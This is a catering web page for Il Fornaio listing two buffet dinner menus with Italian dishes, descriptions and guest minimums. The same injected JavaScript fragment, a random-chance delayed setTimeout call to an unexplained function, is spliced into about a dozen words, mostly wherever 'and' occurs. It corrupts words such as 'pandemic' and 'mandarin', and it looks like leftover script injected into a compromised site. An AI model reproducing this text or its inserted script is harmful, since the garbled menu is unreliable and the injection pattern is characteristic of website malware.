Il Fornaio Buffet Dinner

*** Please note: Due to changes during the Pdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andemic environment, menus may be substituted, though we aim for comparably delicious options. Buffet options may be on hold.***

We offer the following Buffet Dinners options.

The buffets also include the passed Hors D’Oeuvres included in the Served Meal option.

BUFFET #1

Minimum of 30 guests required

IL FORNAIO FRESH BAKED BREADS
Served with extra virgin olive oil dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and balsamic vinegar

INSALATA DEL FORNAIO
Mixed greens, toasted garlic croutons, shaved parmesan; house vinaigrette

INSALATA STAGIONALE
Green beans, roasted bell peppers, pear, mozzarella cheese, grilled mushrooms,
fresh chives; red wine vinaigrette dressing

FRUTTA FRESCA DI STAGIONE
Fresh seasonal fruit display

PETTO DI POLLO ALLA DUCALE
Breast of chicken with artichoke hearts dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sundried tomatoes; chardonnay butter sauce

CONTROFILETTO DI MANZO
New York steak grilled medium rare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sliced, rosemary, green peppercorns; balsamic vinegar

PENNE MELANZANE
Penne pasta with roasted eggplant, marinara sauce, smoked mozzarella, parmesan

FRESH SEASONAL VEGETABLES

ROASTED POTATOES

IL FORNAIO DESSERT DISPLAY
Featuring house made cakes, tarts, cookies, brownies

COFFEE AND TEA SERVICE
Il Fornaio Signature Blend Coffee dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Might Leaf Tea Service

BUFFET #2

Minimum of 30 guests required. Add an additional $15 per guest.

IL FORNAIO FRESH BAKED BREADS
Served with extra virgin olive oil dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and balsamic vinegar

INSALATA CEDRI E FETA
Romaine lettuce with red onion, feta cheese, mdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andarin oranges, toasted almonds; topped with lemon & oregano citronrette

INSALATA SPINACI E GAMBERONI
Mixed greens, tomato, sweet red onion, shrimp, crumbled goat cheese; lime-shallot vinaigrette

ASPARAGI IN BELLAVISTA
Asparagus, radicchio, marinated tomatoes, thin sheet of cucumber with fresh basil julienne, cracked black pepper; drizzled with extra virgin olive oil

POLLO CON MARSALA E FUNGHI
Thinly pounded chicken; topped with Marsala dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mushroom sauce

SALMONE ALLA GRIGLIA
Fresh grilled salmon; extra virgin olive oil dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lemon sauce

LASAGNA AL MAGRO
Housemade pasta layered with ricotta cheese, steamed spinach, marinara sauce, parmesan

PRIMO TAGLIO
Carved at the buffet by Il Fornaio’s Chef
Prime rib roasted in herbs, Italian rock salt; au jus dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fresh horseradish

ROASTED POTATOES

SEASONAL VEGETABLES

DOLCI ASSORTITI
Assortment of Il Fornaio’s fresh baked desserts

COFFEE AND TEA SERVICE
Il Fornaio Signature Blend Coffee dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mighty Leaf Tea Service